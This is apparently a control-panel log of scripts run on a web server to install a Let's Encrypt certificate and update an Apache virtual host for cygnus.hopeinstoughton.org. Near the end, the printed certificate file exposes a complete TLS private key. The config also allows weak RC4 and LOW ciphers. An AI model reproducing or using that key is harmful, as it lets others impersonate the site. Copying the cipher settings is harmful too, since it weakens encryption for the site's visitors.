MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:01:50:
chmod 755 /tmp/pkp883485; /tmp/pkp883485; rm /tmp/pkp883485
2025-08-30 06:01:50:
dir=/etc/ssl/certs
2025-08-30 06:01:50:
PUT: /tmp/pkp315592
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:01:51:
chmod 755 /tmp/pkp315592; /tmp/pkp315592; rm /tmp/pkp315592
2025-08-30 06:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2025-08-30 06:01:51:
PUT: /tmp/pkp148466
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi
2025-08-30 06:01:51:
chmod 755 /tmp/pkp148466; /tmp/pkp148466; rm /tmp/pkp148466
2025-08-30 06:01:52:
2025-08-30 06:01:52:
PUT: /tmp/pkp446917
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:01:52:
chmod 755 /tmp/pkp446917; /tmp/pkp446917; rm /tmp/pkp446917
2025-08-30 06:01:52:
.
2025-08-30 06:01:52: Establishing a connection
2025-08-30 06:01:53:
PUT: /tmp/pkp461261
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:01:55:
chmod 755 /tmp/pkp461261; /tmp/pkp461261; rm /tmp/pkp461261
2025-08-30 06:01:55:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-08-30 06:01:55:
PUT: /tmp/pkp751884
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:01:55:
chmod 755 /tmp/pkp751884; /tmp/pkp751884; rm /tmp/pkp751884
2025-08-30 06:01:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 2965
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2025-08-30 06:01:56:
PUT: /tmp/pkp558843
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-30 06:01:56:
chmod 755 /tmp/pkp558843; /tmp/pkp558843; rm /tmp/pkp558843
2025-08-30 06:01:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734 5378
17:6d:f0:c2:b5:60:2b:ab:fa:4a:3a:5e:3f:2b:e6:37
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBlMD0bGmSpbdTLbqiDAfYmcdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzE3WhcNMjUxMTI4MDUwMzE2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMoEiRuf/oFXzB97sk1X7zD+jVOk36wN8ONJt0ODJhHyGQ5j
cNqVLUlroGS47XwIxkDOi/mELbfCsFHkI8DL3+m8bcTQxfbHWat9xszjt6hO54nq
IpamJ6ZhZy32PF590ac/Bxz4+KoIppux8chhiaE6/0xGiZH0SrtuBCZS4dHzhKKf
xLfK/uZHJKlo6gHfgPH2Fwb0ZZ1eRBoG2ZynEZ5sY+ilPz60+pUNBVgbjg4coOFy
FjJEDre1joqcWsAKTrC131m2U3w/tWpkQY9SAt3JqqCEbOUcD8Yl+/OTDI/AsaDQ
akN7IEIu8B2XPyn3Ws3GFRRYdkgua580vF8ISP0CAwEAAaOCAiswggInMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUq1qH4aY5ZdxyNGhVsYn5VDlHULQwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzMwLmNybDCCAQUGCisG
AQQB1nkCBAIEgfYEgfMA8QB3AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmPmRVPYAAAQDAEgwRgIhAILykXeWtjFcvjKI5jAj7SW5QbBVII2LR/6c
RfllEfp8AiEAiHoTWivl8q/ekV2kASybEZwVIeLfl/mInCpn7IsTqhsAdgDM+w9q
hXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kVUVAAAEAwBHMEUCIQCc
CTjOAAUZpk7d8cjTdUaJEr/GMLyKcR/DH9aDEVfdwQIgGeUaNHvYgRFpDLbvNPvg
Br8QfymT3yQLlgVSUteWkNEwDQYJKoZIhvcNAQELBQADggEBAKRwkD0G2gu0GoIV
hRQKCO8COF3L0mG4Sj9eMaUZnPj0ykpa34tdFTjeb4Vw8eubfLzbL3FQo9kHI+YC
3D8Ah2BkqAOvMqEoLG7SuLs0w1UhMtuwzp4HyKu99ssTHHXepL7fhZF2m91K4mcQ
ywA4+FvjEG0ks++tvMM1W7uTMtz6kcoFgPLvXWwxMYDev3tT+Xk+tEINPysMPi3s
1C7B4g0BsVe5ANG4QV/fy/45yw+VjyMNUgMf7PhAwUWiCtRUzzzDvl90QVS3sYx8
UcVu26Bf9k9mr9DrkMXLaJfv6Zjaiv620M1JE1fqQLrz3Mumhzobw4FwxQAe0YvH
kqdnLgM=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKBIkbn/6BV8wf
e7JNV+8w/o1TpN+sDfDjSbdDgyYR8hkOY3DalS1Ja6BkuO18CMZAzov5hC23wrBR
5CPAy9/pvG3E0MX2x1mrfcbM47eoTueJ6iKWpiemYWct9jxefdGnPwcc+PiqCKab
sfHIYYmhOv9MRomR9Eq7bgQmUuHR84Sin8S3yv7mRySpaOoB34Dx9hcG9GWdXkQa
BtmcpxGebGPopT8+tPqVDQVYG44OHKDhchYyRA63tY6KnFrACk6wtd9ZtlN8P7Vq
ZEGPUgLdyaqghGzlHA/GJfvzkwyPwLGg0GpDeyBCLvAdlz8p91rNxhUUWHZILmuf
NLxfCEj9AgMBAAECggEANjfTaHOfRa1/ni9/ohxomLioy3sjgLTZItck9VycehKE
wQTVRATne54EFSRAsJpWQwxsKtJbxsbctY3KPrM47C1jNIBnsRy9pzYBhfnTz7sl
jzEkiVQcrh3UKFS+zQltnDphOVhkvJXHyV+PqZzr6DbCUAFaaK6s4/LZ8EMsUkFT
gZUP/3OoMhzTroUk7ZyvbjyPUcYKCrhH9ZRnbNCfYir1BLuMC2b+litpf0c7vWa6
WR6zCRDAhUFyGYEu0pSs3/0uS5BXG8adpOTLh2xcV8xNGdd2Di/a1sXafFgQ0ERt
WWHtqMXlwGSnJpJmteiJrCgT5FPcVMQC/2UhcZG+zQKBgQD6mKduWXs4bDDjzgPx
DvPwTlUb9zeVDVcjA+Hv3lXGmRP/BdaX2oze2vOL9hqwP5R+4wJBy82yyTokOBRX
6bIf0z9xtbYMw4V8IQ8OZori5PA9PNOj0VPhkujvOLIUgL4S0B9Llgx1I6cKXbIj
ArYJcOYl5sncNddDw9TgSepxBwKBgQDOX7ea1w+q6feppQzeAxEZvoLfsa5KvK0v
0VbsJEk6GNQxQD0+Gra+OeNz15B9kBX/6MskhsbLKEdZOLUYqHJcLaSP5CX2d1LD
j9Qjc6Xmdvg9okRXS3+CXCfiNplX/1Tb8nRTKmABHiz3noreHgnbRYhqxPFJYvtz
bsuuoguo2wKBgAXaqRan2nwP8vhvaKIqAkLb4ZscpFzECgQUZCPRYtmX2+K6RTAY
9++A1+2uGyOA6LwqG3RkCXMixkvwT3FaUUHzEmlaoF0d+DFVKF/iv13bkU0s7ZjH
HBmJ8A0emvJlq4sO95wxbisSYSWZ2L5+orgHviimgpK1Y0j++yseLu7jAoGBAJNu
d/lrOGsueFq+acHVSQsuOcra4ZvMzKDDmahbh+C0SirhLJ9IcFLXgjGIx1WccMsA
oNd4XV5XaRlJVL7H3+MQTGbrY19/ASZqgu/Mt7E8Pr2xRcdjTTVw5qFJxiTCaPo0
bHvZYvqJdzBzF9v0c7AtLXaxOXrm9qIRfftFErVPAoGBAOfRdk+1hZARVjfz/Ci2
pJ8Ln+E8Vlfh94DWzAVv8PwttW/JrcSb3J8leISPfqXP+IEFAjF7SdEEZhZhrkdl
770doUZ6ciqN2I6lXHtMLgx0vHeoC+LnAFstSODd7pS9P+GhWGzxSwcLX5tlERyX
pA1FcO80X+uRZ02eXP/TAmtw
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
